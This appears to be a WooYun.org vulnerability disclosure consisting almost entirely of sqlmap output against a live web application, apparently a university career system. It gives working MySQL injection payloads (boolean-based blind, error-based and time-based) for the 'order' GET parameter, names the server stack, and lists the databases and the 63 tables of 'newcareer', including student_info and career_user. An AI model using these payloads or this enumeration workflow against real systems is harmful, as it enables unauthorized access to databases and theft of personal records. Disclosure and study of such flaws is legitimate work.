WooYun.org

Place: GET
Parameter: order
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: order=meettime RLIKE (SELECT (CASE WHEN (5387=5387) THEN 0x6d65657474696d65 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: order=meettime AND (SELECT 2266 FROM(SELECT COUNT(*),CONCAT(0x7171617671,(SELECT (CASE WHEN (2266=2266) THEN 1 ELSE 0 END)),0x7178686371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: order=meettime AND SLEEP(5)
---
web server operating system: Windows
web application technology: Apache 2.2.4, PHP 5.2.0
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: order
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: order=meettime RLIKE (SELECT (CASE WHEN (5387=5387) THEN 0x6d65657474696d65 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: order=meettime AND (SELECT 2266 FROM(SELECT COUNT(*),CONCAT(0x7171617671,(SELECT (CASE WHEN (2266=2266) THEN 1 ELSE 0 END)),0x7178686371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: order=meettime AND SLEEP(5)
---
web server operating system: Windows
web application technology: Apache 2.2.4, PHP 5.2.0
back-end DBMS: MySQL 5.0
available databases [7]:
[*] information_schema
[*] jycms
[*] mysql
[*] newcareer
[*] phpq
[*] test
[*] whuqbase
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: order
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: order=meettime RLIKE (SELECT (CASE WHEN (5387=5387) THEN 0x6d65657474696d65 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: order=meettime AND (SELECT 2266 FROM(SELECT COUNT(*),CONCAT(0x7171617671,(SELECT (CASE WHEN (2266=2266) THEN 1 ELSE 0 END)),0x7178686371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: order=meettime AND SLEEP(5)
---
web server operating system: Windows
web application technology: Apache 2.2.4, PHP 5.2.0
back-end DBMS: MySQL 5.0
Database: newcareer
[63 tables]
+-----------------------------------+
| 201350613 |
| base_stru |
| bdzlb |
| bgrxsj |
| byjyxs |
| byqx |
| career_actlog |
| career_backup |
| career_email |
| career_group |
| career_menu |
| career_user |
| dbf_stru |
| delstu |
| diaocha |
| dwhy |
| dwk |
| dwxz |
| gzzw |
| hyzk |
| jyklrs |
| jylb |
| jyltj |
| jyltj_history |
| jyltj_history_xy |
| knlb |
| knxh |
| mz |
| news |
| pqzh |
| pyfs |
| rxfs |
| sbb_stru |
| stu_table1 |
| student_da |
| student_info |
| student_info_backup20140416112743 |
| student_info_backup20140418083907 |
| student_info_backup20140519183032 |
| student_info_backup20140519225237 |
| student_info_history |
| syszd |
| syszd_copy |
| userpz |
| xb |
| xjk |
| xjzt |
| xl |
| xy |
| xysbh2014 |
| xyslq |
| xytj |
| xytj_history |
| yjsbkqk |
| yxdwhy |
| yxdwxz |
| yxyx |
| yxzylb |
| zgbm |
| zy |
| zytj |
| zytj_history |
| zzmm |
+-----------------------------------+